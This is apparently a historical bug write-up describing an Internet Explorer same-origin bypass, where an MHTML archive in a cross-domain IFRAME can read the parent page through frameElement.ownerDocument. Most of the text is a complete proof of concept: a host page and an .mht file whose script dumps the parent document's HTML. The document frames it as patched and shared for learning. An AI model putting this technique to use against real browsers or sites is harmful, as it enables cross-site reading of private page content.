Loading an .mht (MHTML archive) file inside an IFRAME from a different domain gives the MHT content access to frameElement — the IFRAME element in the parent page. From frameElement.ownerDocument, the cross-origin page can reach and read the parent’s entire document. I wasn’t sure if this was related to the earlier mHTML redirect bug internally, but the mechanism seems distinct.

index.html:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>xDOM_mht_frameElement</title></head>
<body>
<font size="2" face="Tahoma">
<center>
<h2>xDOM_mht_frameElement</h2>

I really do not know if this xDomain has something to do (internally, from a design point of view) with the old LDY mhtml redirection, but here it is anyway.<br /><br />
Just load an mht file in the IFRAME (other domain). Then, from within the IFRAME you can access the frameElement (should be access denied)
and of course, access the main document that is in a different domain.<br /><br />

<iframe src="http://www.iframe.com/crash/20/thisFileShoudBePlacedInADifferentDomain.mht" width="300" height="100"></iframe>
</center>
</font>
</body>
</html>

thisFileShoudBePlacedInADifferentDomain.mht (cross-origin MHT file):

From: <Saved by Windows Internet Explorer 7>
Subject: mht File
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"

<HTML><BODY><FONT face=Tahoma size=2>This file should be placed in a different domain than it's parentWindow.</FONT>
<SCRIPT language=JavaScript>
alert(frameElement.ownerDocument.body.innerHTML);
</SCRIPT>
</BODY></HTML>

The MHT format causes IE to load the content with different origin-checking behavior than a regular HTML file. The frameElement property — which should be null or throw “Access Denied” for a cross-origin IFRAME — was accessible from inside the MHT, leaking the parent document reference.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.